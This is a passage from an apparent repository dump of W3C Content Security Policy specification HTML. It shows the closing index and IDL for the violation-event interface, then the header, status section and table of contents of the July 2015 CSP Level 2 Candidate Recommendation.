href=\"#dictdef-securitypolicyviolationeventinit\">6.2</a>\n   <li>SecurityPolicyViolationEvent(type, eventInitDict), <a href=\"#dom-securitypolicyviolationevent-securitypolicyviolationeventtype-eventinitdict\">6.1</a>\n   <li>send violation reports, <a href=\"#send-violation-reports\">4.4</a>\n   <li>set of report URLs, <a href=\"#set-of-report-urls\">7.13</a>\n   <li>SHA-256, <a href=\"#sha_256\">2.2</a>\n   <li>SHA-384, <a href=\"#sha_384\">2.2</a>\n   <li>SHA-512, <a href=\"#sha_512\">2.2</a>\n   <li>source-expression, <a href=\"#source_expression\">4.2</a>\n   <li>source expression, <a href=\"#source-expression\">4.2</a>\n   <li>source-file, <a href=\"#source_file\">4.4</a>\n   <li>sourceFile\n    <ul>\n     <li>attribute for SecurityPolicyViolationEvent, <a href=\"#dom-securitypolicyviolationevent-sourcefile\">6.1</a>\n     <li>dict-member for SecurityPolicyViolationEventInit, <a href=\"#dom-securitypolicyviolationeventinit-sourcefile\">6.2</a>\n    </ul>\n   <li>source-list, <a href=\"#source_list\">4.2</a>\n   <li>source\n    list, <a href=\"#source-list\">4.2</a>\n   <li>statusCode, <a href=\"#dom-securitypolicyviolationevent-statuscode\">6.1</a>\n   <li>stripped for reporting, <a href=\"#strip-uri-for-reporting\">4.4</a>\n   <li>strip uri for reporting, <a href=\"#strip-uri-for-reporting\">4.4</a>\n   <li>style-src, <a href=\"#style_src\">7.16</a>\n   <li>type, <a href=\"#dom-securitypolicyviolationevent-securitypolicyviolationeventtype-eventinitdict-type\">6.1</a>\n   <li>uri-reference, <a href=\"#uri_reference\">7.13</a>\n   <li>URL, <a href=\"#url\">2.2</a>\n   <li>valid hash, <a href=\"#valid-hash\">4.2.5</a>\n   <li>valid nonce, <a href=\"#valid-nonce\">4.2.4</a>\n   <li>VCHAR, <a href=\"#vchar\">2.4</a>\n   <li>violatedDirective\n    <ul>\n     <li>attribute for SecurityPolicyViolationEvent, <a href=\"#dom-securitypolicyviolationevent-violateddirective\">6.1</a>\n     <li>dict-member for SecurityPolicyViolationEventInit, <a href=\"#dom-securitypolicyviolationeventinit-violateddirective\">6.2</a>\n    </ul>\n   <li>WSP, <a href=\"#wsp\">2.4</a></ul>\n  <h2 class=\"no-num heading settled\" id=\"idl-index\"><span class=\"content\">IDL Index</span><a class=\"self-link\" href=\"#idl-index\"></a></h2>\n  <pre class=\"idl\">partial interface <a class=\"idl-code\" data-global-name=\"\" data-link-type=\"interface\" href=\"http://www.w3.org/TR/html5/scripting-1.html#htmlscriptelement\">HTMLScriptElement</a> {\n  attribute DOMString <a class=\"idl-code\" data-global-name=\"HTMLScriptElement<interface>/nonce<attribute>\" data-link-type=\"attribute\" data-type=\"DOMString \" href=\"#dom-htmlscriptelement-nonce\">nonce</a>;\n};\n\npartial interface <a class=\"idl-code\" data-global-name=\"\" data-link-type=\"interface\" href=\"http://www.w3.org/TR/html5/document-metadata.html#htmlstyleelement\">HTMLStyleElement</a> {\n  attribute DOMString <a class=\"idl-code\" data-global-name=\"HTMLStyleElement<interface>/nonce<attribute>\" data-link-type=\"attribute\" data-type=\"DOMString \" href=\"#dom-htmlstyleelement-nonce\">nonce</a>;\n};\n\n[<a data-global-name=\"SecurityPolicyViolationEvent<interface>/SecurityPolicyViolationEvent(type, eventInitDict)<constructor>\" href=\"#dom-securitypolicyviolationevent-securitypolicyviolationeventtype-eventinitdict\">Constructor</a>(DOMString <a data-global-name=\"SecurityPolicyViolationEvent<interface>/SecurityPolicyViolationEvent(type, eventInitDict)<method>/type<argument>\" href=\"#dom-securitypolicyviolationevent-securitypolicyviolationeventtype-eventinitdict-type\">type</a>, optional <a data-link-type=\"idl-name\" href=\"#dictdef-securitypolicyviolationeventinit\">SecurityPolicyViolationEventInit</a> <a data-global-name=\"SecurityPolicyViolationEvent<interface>/SecurityPolicyViolationEvent(type, eventInitDict)<method>/eventInitDict<argument>\" href=\"#dom-securitypolicyviolationevent-securitypolicyviolationeventtype-eventinitdict-eventinitdict\">eventInitDict</a>)]\ninterface <a data-global-name=\"\" href=\"#securitypolicyviolationevent\">SecurityPolicyViolationEvent</a> : <a data-link-type=\"idl-name\" href=\"http://www.w3.org/TR/dom/#event\">Event</a> {\n    readonly    attribute DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEvent<interface>/documentURI<attribute>\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-documenturi\">documentURI</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEvent<interface>/referrer<attribute>\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-referrer\">referrer</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEvent<interface>/blockedURI<attribute>\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-blockeduri\">blockedURI</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEvent<interface>/violatedDirective<attribute>\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-violateddirective\">violatedDirective</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEvent<interface>/effectiveDirective<attribute>\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-effectivedirective\">effectiveDirective</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEvent<interface>/originalPolicy<attribute>\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-originalpolicy\">originalPolicy</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEvent<interface>/sourceFile<attribute>\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-sourcefile\">sourceFile</a>;\n    readonly    attribute DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEvent<interface>/statusCode<attribute>\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationevent-statuscode\">statusCode</a>;\n    readonly    attribute long      <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEvent<interface>/lineNumber<attribute>\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"long      \" href=\"#dom-securitypolicyviolationevent-linenumber\">lineNumber</a>;\n    readonly    attribute long      <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEvent<interface>/columnNumber<attribute>\" data-link-type=\"attribute\" data-readonly=\"\" data-type=\"long      \" href=\"#dom-securitypolicyviolationevent-columnnumber\">columnNumber</a>;\n};\n\ndictionary <a data-global-name=\"\" href=\"#dictdef-securitypolicyviolationeventinit\">SecurityPolicyViolationEventInit</a> : <a data-link-type=\"idl-name\" href=\"http://www.w3.org/TR/dom/#eventinit\">EventInit</a> {\n    DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEventInit<dictionary>/documentURI<dict-member>\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-documenturi\">documentURI</a>;\n    DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEventInit<dictionary>/referrer<dict-member>\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-referrer\">referrer</a>;\n    DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEventInit<dictionary>/blockedURI<dict-member>\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-blockeduri\">blockedURI</a>;\n    DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEventInit<dictionary>/violatedDirective<dict-member>\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-violateddirective\">violatedDirective</a>;\n    DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEventInit<dictionary>/effectiveDirective<dict-member>\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-effectivedirective\">effectiveDirective</a>;\n    DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEventInit<dictionary>/originalPolicy<dict-member>\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-originalpolicy\">originalPolicy</a>;\n    DOMString <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEventInit<dictionary>/sourceFile<dict-member>\" data-link-type=\"dict-member\" data-type=\"DOMString \" href=\"#dom-securitypolicyviolationeventinit-sourcefile\">sourceFile</a>;\n    long      <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEventInit<dictionary>/lineNumber<dict-member>\" data-link-type=\"dict-member\" data-type=\"long      \" href=\"#dom-securitypolicyviolationeventinit-linenumber\">lineNumber</a>;\n    long      <a class=\"idl-code\" data-global-name=\"SecurityPolicyViolationEventInit<dictionary>/columnNumber<dict-member>\" data-link-type=\"dict-member\" data-type=\"long      \" href=\"#dom-securitypolicyviolationeventinit-columnnumber\">columnNumber</a>;\n};\n\n</pre></body>\n</html>\n"
  },
  {
    "path": "2/published/2015-07-CR.html",
    "content": "<!doctype html>\n<html lang=\"en\">\n <head>\n  \n  <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n  \n  \n  <title>Content Security Policy Level 2</title>\n  \n  \n  <link href=\"default.css\" rel=\"stylesheet\" type=\"text/css\">\n  \n  \n  <link href=\"https://www.w3.org/StyleSheets/TR/W3C-CR\" rel=\"stylesheet\" type=\"text/css\">\n  \n\n  <meta content=\"Bikeshed 1.0.0\" name=\"generator\">\n  <style>\n      table {\n        text-align: left;\n        margin: 20px;\n        width: 100%;\n        border-collapse: collapse;\n      }\n\n      tbody tr:nth-child(odd) {\n        background-color: #EEE;\n      }\n\n      th {\n        border-bottom: 1px solid #999;\n        padding: 0.5em;\n      }\n\n      td:first-child {\n        width: 30%;\n        padding-right: 1em;\n      }\n\n      td {\n        vertical-align: top;\n        padding: 0.5em;\n      }\n\n      tbody th {\n        border: 0;\n        background-color: #FFF;\n      }\n\n      tr.section {\n        border-top: 1px solid #999;\n        vertical-align: top;\n      }\n    </style>\n  \n\n    \n </head>\n \n\n <body class=\"h-entry\">\n\n  <div class=\"head\">\n  \n   <p data-fill-with=\"logo\"><a class=\"logo\" href=\"http://www.w3.org/\">\n    <img alt=\"W3C\" height=\"48\" src=\"https://www.w3.org/Icons/w3c_home\" width=\"72\">\n</a>\n</p>\n  \n   <h1 class=\"p-name no-ref\" id=\"title\">Content Security Policy Level 2</h1>\n  \n   <h2 class=\"no-num no-toc no-ref heading settled\" id=\"subtitle\"><span class=\"content\">W3C Candidate Recommendation,\n    <time class=\"dt-updated\" datetime=\"2015-07-01\">1 July 2015</time></span></h2>\n  \n   <div data-fill-with=\"spec-metadata\">\n    <dl>\n     <dt>This version:\n     <dd><a class=\"u-url\" href=\"http://www.w3.org/TR/2015/CR-CSP2-2-20150701/\">http://www.w3.org/TR/2015/CR-CSP2-2-20150701/</a>\n     <dt>Latest version:\n     <dd><a href=\"http://www.w3.org/TR/CSP2/\">http://www.w3.org/TR/CSP2/</a>\n     <dt>Editor's Draft:\n     <dd><a href=\"https://w3c.github.io/webappsec/specs/CSP2/\">https://w3c.github.io/webappsec/specs/CSP2/</a>\n     <dt>Previous Versions:\n     <dd><a href=\"http://www.w3.org/TR/2014/WD-CSP2-20140703/\" rel=\"previous\">http://www.w3.org/TR/2014/WD-CSP2-20140703/</a>\n     <dd><a href=\"http://www.w3.org/TR/2014/WD-CSP11-20140211/\" rel=\"previous\">http://www.w3.org/TR/2014/WD-CSP11-20140211/</a>\n     <dd><a href=\"http://www.w3.org/TR/2012/CR-CSP-20121115/\" rel=\"previous\">http://www.w3.org/TR/2012/CR-CSP-20121115/</a>\n     <dt>Feedback:\n     <dd><span><a href=\"mailto:public-webappsec@w3.org?subject=%5BCSP2%5D%20YOUR%20TOPIC%20HERE\">public-webappsec@w3.org</a> with subject line “<kbd>[CSP2] <var>… message topic …</var></kbd>” (<a href=\"http://lists.w3.org/Archives/Public/public-webappsec/\" rel=\"discussion\">archives</a>)</span>\n     <dt>Issue Tracking:\n     <dd><a href=\"https://github.com/w3c/webappsec/issues/\">GitHub</a>\n     <dt class=\"editor\">Editors:\n     <dd class=\"editor p-author h-card vcard\" data-editor-id=\"56384\"><a class=\"p-name fn u-email email\" href=\"mailto:mkwst@google.com\">Mike West</a> (<span class=\"p-org org\">Google Inc.</span>)\n     <dd class=\"editor p-author h-card vcard\" data-editor-id=\"39502\"><a class=\"p-name fn u-email email\" href=\"mailto:w3c@adambarth.com\">Adam Barth</a> (<span class=\"p-org org\">Google Inc.</span>)\n     <dd class=\"editor p-author h-card vcard\" data-editor-id=\"41156\"><a class=\"p-name fn u-email email\" href=\"mailto:dveditz@mozilla.com\">Dan Veditz</a> (<span class=\"p-org org\">Mozilla Corporation</span>)\n     <dt>Former Editors:\n     <dd>\n      <dd class=\"editor p-author h-card vcard\"><a class=\"p-name fn u-email email\" href=\"mailto:brandon@hackmill.com\">Brandon Sterne</a> (<span class=\"p-org org\">formerly of Mozilla Corporation</span>)\n    </dl>\n   </div>\n  \n   <div data-fill-with=\"warning\"></div>\n  \n   <p class=\"copyright\" data-fill-with=\"copyright\"><a href=\"http://www.w3.org/Consortium/Legal/ipr-notice#Copyright\">Copyright</a> © 2015 <a href=\"http://www.w3.org/\"><abbr title=\"World Wide Web Consortium\">W3C</abbr></a><sup>®</sup> (<a href=\"http://www.csail.mit.edu/\"><abbr title=\"Massachusetts Institute of Technology\">MIT</abbr></a>, <a href=\"http://www.ercim.eu/\"><abbr title=\"European Research Consortium for Informatics and Mathematics\">ERCIM</abbr></a>, <a href=\"http://www.keio.ac.jp/\">Keio</a>, <a href=\"http://ev.buaa.edu.cn/\">Beihang</a>). W3C <a href=\"http://www.w3.org/Consortium/Legal/ipr-notice#Legal_Disclaimer\">liability</a>, <a href=\"http://www.w3.org/Consortium/Legal/ipr-notice#W3C_Trademarks\">trademark</a> and <a href=\"http://www.w3.org/Consortium/Legal/copyright-documents\">document use</a> rules apply.\n</p>\n  \n   <hr title=\"Separator for header\">\n</div>\n\n\n  <h2 class=\"no-num no-toc no-ref heading settled\" id=\"abstract\"><span class=\"content\">Abstract</span></h2>\n\n  <div class=\"p-summary\" data-fill-with=\"abstract\">\n   <p>This document defines a policy language used to declare a set of content restrictions for a web resource, and a mechanism for transmitting the policy from a server to a client where the policy is enforced.</p>\n\n</div>\n\n\n  <h2 class=\"no-num no-toc no-ref heading settled\" id=\"status\"><span class=\"content\">Status of this document</span></h2>\n\n  <div data-fill-with=\"status\">\n   <p>\n  <em>This section describes the status of this document at the time of\n  its publication. Other documents may supersede this document. A list of\n  current W3C publications and the latest revision of this technical report\n  can be found in the <a href=\"http://www.w3.org/TR/\">W3C technical reports\n  index at http://www.w3.org/TR/.</a></em>\n\n</p>\n   <p>\n  This document was published by the\n  <a href=\"http://www.w3.org/2011/webappsec/\">Web Application Security Working Group</a>\n  as a Candidate Recommendation. This document is intended to become a W3C Recommendation.\n  This document will remain a Candidate Recommendation at least until <time class=\"status-deadline\" datetime=\"2015-08-21\">21 August 2015</time> in order\n  to ensure the opportunity for wide review.\n\n</p>\n   <p>\n\tThe (<a href=\"http://lists.w3.org/Archives/Public/public-webappsec/\">archived</a>) public mailing list\n\t<a href=\"mailto:public-webappsec@w3.org?Subject=%5BCSP2%5D%20PUT%20SUBJECT%20HERE\">public-webappsec@w3.org</a>\n\t(see <a href=\"http://www.w3.org/Mail/Request\">instructions</a>)\n\tis preferred for discussion of this specification.\n\tWhen sending e-mail,\n\tplease put the text “CSP2” in the subject,\n\tpreferably like this:\n\t“[CSP2] <em>…summary of comment…</em>”\n\n</p>\n   <p>\n  Publication as a Candidate Recommendation does not imply endorsement by the W3C\n  Membership. This is a draft document and may be updated, replaced or\n  obsoleted by other documents at any time. It is inappropriate to cite this\n  document as other than work in progress.\n\n</p>\n   <p>\n  The entrance criteria for this document to enter the Proposed Recommendation stage\n  is to have a minimum of two independent and interoperable user agents that\n  implementation all the features of this specification, which will be determined by\n  passing the user agent tests defined in the test suite developed by the Working\n  Group. The Working Group will prepare an implementation report to track progress.\n\n</p>\n   <p>\n\tThis document was produced by a group operating under\n\tthe <a href=\"http://www.w3.org/Consortium/Patent-Policy-20040205/\">5 February 2004 W3C Patent Policy</a>.\n\tW3C maintains a <a href=\"http://www.w3.org/2004/01/pp-impl/49309/status\" rel=\"disclosure\">public list of any patent disclosures</a>\n\tmade in connection with the deliverables of the group;\n\tthat page also includes instructions for disclosing a patent.\n\tAn individual who has actual knowledge of a patent which the individual believes contains <a href=\"http://www.w3.org/Consortium/Patent-Policy-20040205/#def-essential\">Essential Claim(s)</a>\n\tmust disclose the information in accordance with <a href=\"http://www.w3.org/Consortium/Patent-Policy-20040205/#sec-Disclosure\">section 6 of the W3C Patent Policy</a>.\n\n</p>\n   <p>\n  This document is governed by the <a href=\"http://www.w3.org/2014/Process-20140801/\" id=\"w3c_process_revision\">1 August 2014 W3C Process Document</a>.\n</p></div>\n\n  <div data-fill-with=\"at-risk\">\n   <p>The following features are at-risk, and may be dropped during the CR period:\n</p>\n   <ul>\n    <li><a href=\"#csp-request-header\">§3.4 The CSP HTTP Request Header</a>\n    <li><a href=\"#directive-child-src\">§7.2 child-src</a>\n   </ul></div>\n\n\n  <h2 class=\"no-num no-toc no-ref heading settled\" id=\"contents\"><span class=\"content\">Table of Contents</span></h2>\n\n  <div data-fill-with=\"table-of-contents\" role=\"navigation\">\n   <ul class=\"toc\" role=\"directory\">\n    <li><a href=\"#intro\"><span class=\"secno\">1</span> <span class=\"content\">Introduction</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#changes-from-level-1\"><span class=\"secno\">1.1</span> <span class=\"content\">Changes from Level 1</span></a>\n     </ul>\n    <li><a href=\"#key-concepts\"><span class=\"secno\">2</span> <span class=\"content\">Key Concepts and Terminology</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#terms-defined-here\"><span class=\"secno\">2.1</span> <span class=\"content\">Terms defined by this specification</span></a>\n      <li><a href=\"#terms-defined-by-reference\"><span class=\"secno\">2.2</span> <span class=\"content\">Terms defined by reference</span></a>\n      <li><a href=\"#html-concepts\"><span class=\"secno\">2.3</span> <span class=\"content\">Relevant Concepts from HTML</span></a>\n      <li><a href=\"#grammar\"><span class=\"secno\">2.4</span> <span class=\"content\">Grammatical Concepts</span></a>\n     </ul>\n    <li><a href=\"#policy-delivery\"><span class=\"secno\">3</span> <span class=\"content\">Policy Delivery</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#content-security-policy-header-field\"><span class=\"secno\">3.1</span> <span class=\"content\">\n      <code>Content-Security-Policy</code> Header Field\n    </span></a>\n      <li><a href=\"#content-security-policy-report-only-header-field\"><span class=\"secno\">3.2</span> <span class=\"content\">\n      <code>Content-Security-Policy-Report-Only</code> Header Field\n    </span></a>\n      <li><a href=\"#delivery-html-meta-element\"><span class=\"secno\">3.3</span> <span class=\"content\">\n      HTML <code><span>meta</span></code> Element\n    </span></a>\n      <li><a href=\"#csp-request-header\"><span class=\"secno\">3.4</span> <span class=\"content\">The <code>CSP</code> HTTP Request Header</span></a>\n      <li><a href=\"#enforcing-multiple-policies\"><span class=\"secno\">3.5</span> <span class=\"content\">Enforcing multiple policies.</span></a>\n      <li><a href=\"#which-policy-applies\"><span class=\"secno\">3.6</span> <span class=\"content\">Policy applicability</span></a>\n     </ul>\n    <li><a href=\"#syntax-and-algorithms\"><span class=\"secno\">4</span> <span class=\"content\">Syntax and Algorithms</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#policy-syntax\"><span class=\"secno\">4.1</span> <span class=\"content\">Policy Syntax</span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#policy-parsing\"><span class=\"secno\">4.1.1</span> <span class=\"content\">Parsing Policies</span></a>\n       </ul>\n      <li><a href=\"#source-list-syntax\"><span class=\"secno\">4.2</span> <span class=\"content\">Source List Syntax</span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#source-list-parsing\"><span class=\"secno\">4.2.1</span> <span class=\"content\">Parsing Source Lists</span></a>\n        <li><a href=\"#match-source-expression\"><span class=\"secno\">4.2.2</span> <span class=\"content\">Matching Source Expressions</span></a>\n         <ul class=\"toc\">\n          <li><a href=\"#source-list-guid-matching\"><span class=\"secno\">4.2.2.1</span> <span class=\"content\">\n          Security Considerations for GUID URL schemes\n        </span></a>\n          <li><a href=\"#source-list-path-patching\"><span class=\"secno\">4.2.2.2</span> <span class=\"content\">Path Matching</span></a>\n          <li><a href=\"#source-list-paths-and-redirects\"><span class=\"secno\">4.2.2.3</span> <span class=\"content\">Paths and Redirects</span></a>\n         </ul>\n        <li><a href=\"#script-src-the-nonce-attribute\"><span class=\"secno\">4.2.3</span> <span class=\"content\">\n        The <code>nonce</code> attribute\n      </span></a>\n        <li><a href=\"#source-list-valid-nonces\"><span class=\"secno\">4.2.4</span> <span class=\"content\">Valid Nonces</span></a>\n        <li><a href=\"#source-list-valid-hashes\"><span class=\"secno\">4.2.5</span> <span class=\"content\">Valid Hashes</span></a>\n       </ul>\n      <li><a href=\"#media-type-list-syntax\"><span class=\"secno\">4.3</span> <span class=\"content\">Media Type List Syntax</span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#media-type-list-parsing\"><span class=\"secno\">4.3.1</span> <span class=\"content\">Parsing</span></a>\n        <li><a href=\"#media-type-list-matching\"><span class=\"secno\">4.3.2</span> <span class=\"content\">Matching</span></a>\n       </ul>\n      <li><a href=\"#violation-reports\"><span class=\"secno\">4.4</span> <span class=\"content\">Reporting</span></a>\n     </ul>\n    <li><a href=\"#processing-model\"><span class=\"secno\">5</span> <span class=\"content\">Processing Model</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#processing-model-workers\"><span class=\"secno\">5.1</span> <span class=\"content\">Workers</span></a>\n      <li><a href=\"#processing-model-iframe-srcdoc\"><span class=\"secno\">5.2</span> <span class=\"content\"><code>srcdoc</code> IFrames</span></a>\n     </ul>\n    <li><a href=\"#script-interfaces\"><span class=\"secno\">6</span> <span class=\"content\">Script Interfaces</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#securitypolicyviolationevent-interface\"><span class=\"secno\">6.1</span> <span class=\"content\">\n      <code>SecurityPolicyViolationEvent</code> Interface\n    </span></a>\n      <li><a href=\"#securitypolicyviolationeventinit-interface\"><span class=\"secno\">6.2</span> <span class=\"content\">\n      <code>SecurityPolicyViolationEventInit</code> Interface\n    </span></a>\n      <li><a href=\"#firing-securitypolicyviolationevent-events\"><span class=\"secno\">6.3</span> <span class=\"content\">Firing Violation Events</span></a>\n     </ul>\n    <li><a href=\"#directives\"><span class=\"secno\">7</span> <span class=\"content\">Directives</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#directive-base-uri\"><span class=\"secno\">7.1</span> <span class=\"content\"><code>base-uri</code></span></a>\n      <li><a href=\"#directive-child-src\"><span class=\"secno\">7.2</span> <span class=\"content\"><code>child-src</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#directive-child-src-nested\"><span class=\"secno\">7.2.1</span> <span class=\"content\">Nested Browsing Contexts</span></a>\n        <li><a href=\"#directive-child-src-workers\"><span class=\"secno\">7.2.2</span> <span class=\"content\">Workers</span></a>\n       </ul>\n      <li><a href=\"#directive-connect-src\"><span class=\"secno\">7.3</span> <span class=\"content\"><code>connect-src</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#connect-src-usage\"><span class=\"secno\">7.3.1</span> <span class=\"content\">Usage</span></a>\n       </ul>\n      <li><a href=\"#directive-default-src\"><span class=\"secno\">7.4</span> <span class=\"content\"><code>default-src</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#default-src-usage\"><span class=\"secno\">7.4.1</span> <span class=\"content\">Usage</span></a>\n       </ul>\n      <li><a href=\"#directive-font-src\"><span class=\"secno\">7.5</span> <span class=\"content\"><code>font-src</code></span></a>\n      <li><a href=\"#directive-form-action\"><span class=\"secno\">7.6</span> <span class=\"content\"><code>form-action</code></span></a>\n      <li><a href=\"#directive-frame-ancestors\"><span class=\"secno\">7.7</span> <span class=\"content\"><code>frame-ancestors</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#frame-ancestors-and-frame-options\"><span class=\"secno\">7.7.1</span> <span class=\"content\">\n        Relation to <code>X-Frame-Options</code>\n      </span></a>\n        <li><a href=\"#frame-ancestors-multiple-source-values\"><span class=\"secno\">7.7.2</span> <span class=\"content\">Multiple Host Source Values</span></a>\n       </ul>\n      <li><a href=\"#directive-frame-src\"><span class=\"secno\">7.8</span> <span class=\"content\"><code>frame-src</code></span></a>\n      <li><a href=\"#directive-img-src\"><span class=\"secno\">7.9</span> <span class=\"content\"><code>img-src</code></span></a>\n      <li><a href=\"#directive-media-src\"><span class=\"secno\">7.10</span> <span class=\"content\"><code>media-src</code></span></a>\n      <li><a href=\"#directive-object-src\"><span class=\"secno\">7.11</span> <span class=\"content\"><code>object-src</code></span></a>\n      <li><a href=\"#directive-plugin-types\"><span class=\"secno\">7.12</span> <span class=\"content\"><code>plugin-types</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#plugin-types-usage\"><span class=\"secno\">7.12.1</span> <span class=\"content\">Usage</span></a>\n        <li><a href=\"#plugin-types-predeclaration\"><span class=\"secno\">7.12.2</span> <span class=\"content\">\n        Predeclaration of expected media types\n      </span></a>\n       </ul>\n      <li><a href=\"#directive-report-uri\"><span class=\"secno\">7.13</span> <span class=\"content\"><code>report-uri</code></span></a>\n      <li><a href=\"#directive-sandbox\"><span class=\"secno\">7.14</span> <span class=\"content\"><code>sandbox</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#sandboxing-and-workers\"><span class=\"secno\">7.14.1</span> <span class=\"content\">Sandboxing and Workers</span></a>\n        <li><a href=\"#sandbox-usage\"><span class=\"secno\">7.14.2</span> <span class=\"content\">Usage</span></a>\n       </ul>\n      <li><a href=\"#directive-script-src\"><span class=\"secno\">7.15</span> <span class=\"content\"><code>script-src</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#script-src-nonce-usage\"><span class=\"secno\">7.15.1</span> <span class=\"content\">\n        Nonce usage for <code><span>script</span></code> elements\n      </span></a>\n        <li><a href=\"#script-src-hash-usage\"><span class=\"secno\">7.15.2</span> <span class=\"content\">\n        Hash usage for <code><span>script</span></code> elements\n      </span></a>\n       </ul>\n      <li><a href=\"#directive-style-src\"><span class=\"secno\">7.16</span> <span class=\"content\"><code>style-src</code></span></a>\n       <ul class=\"toc\">\n        <li><a href=\"#style-src-nonce-usage\"><span class=\"secno\">7.16.1</span> <span class=\"content\">\n        Nonce usage for <code><span>style</span></code> elements\n      </span></a>\n        <li><a href=\"#style-src-hash-usage\"><span class=\"secno\">7.16.2</span> <span class=\"content\">\n        Hash usage for <code><span>style</span></code> elements\n      </span></a>\n       </ul>\n     </ul>\n    <li><a href=\"#examples\"><span class=\"secno\">8</span> <span class=\"content\">Examples</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#example-policies\"><span class=\"secno\">8.1</span> <span class=\"content\">Sample Policy Definitions</span></a>\n      <li><a href=\"#example-violation-report\"><span class=\"secno\">8.2</span> <span class=\"content\">Sample Violation Report</span></a>\n     </ul>\n    <li><a href=\"#security-considerations\"><span class=\"secno\">9</span> <span class=\"content\">Security Considerations</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#security-css-parsing\"><span class=\"secno\">9.1</span> <span class=\"content\">Cascading Style Sheet (CSS) Parsing</span></a>\n      <li><a href=\"#security-violation-reports\"><span class=\"secno\">9.2</span> <span class=\"content\">Violation Reports</span></a>\n     </ul>\n    <li><a href=\"#implementation-considerations\"><span class=\"secno\">10</span> <span class=\"content\">Implementation Considerations</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#complications\"><span class=\"secno\">10.1</span> <span class=\"content\">Processing Complications</span></a>\n     </ul>\n    <li><a href=\"#iana-considerations\"><span class=\"secno\">11</span> <span class=\"content\">IANA Considerations</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#iana-content-security-policy\"><span class=\"secno\">11.1</span> <span class=\"content\">Content-Security-Policy</span></a>\n      <li><a href=\"#iana-content-security-policy-report-only\"><span class=\"secno\">11.2</span> <span class=\"content\">Content-Security-Policy-Report-Only</span></a>\n      <li><a href=\"#iana-csp\"><span class=\"secno\">11.3</span> <span class=\"content\">CSP</span></a>\n     </ul>\n    <li><a href=\"#acknowledgements\"><span class=\"secno\">12</span> <span class=\"content\">Acknowledgements</span></a>\n    <li><a href=\"#conformance\"><span class=\"secno\"></span> <span class=\"content\">Conformance</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#conventions\"><span class=\"secno\"></span> <span class=\"content\">Document conventions</span></a>\n      <li><a href=\"#conformant-algorithms\"><span class=\"secno\"></span> <span class=\"content\">Conformant Algorithms</span></a>\n      <li><a href=\"#conformance-classes\"><span class=\"secno\"></span> <span class=\"content\">Conformance Classes</span></a>\n     </ul>\n    <li><a href=\"#index\"><span class=\"secno\"></span> <span class=\"content\">Index</span></a>\n     <ul class=\"toc\">\n      <li><a href=\"#index-defined-here\"><span class=\"secno\"></span> <span class=\"content\">Terms defined by this specification</span></a>\n      <li><a href=\"#index-defined-elsewhere\"><span class=\"secno\"></span> 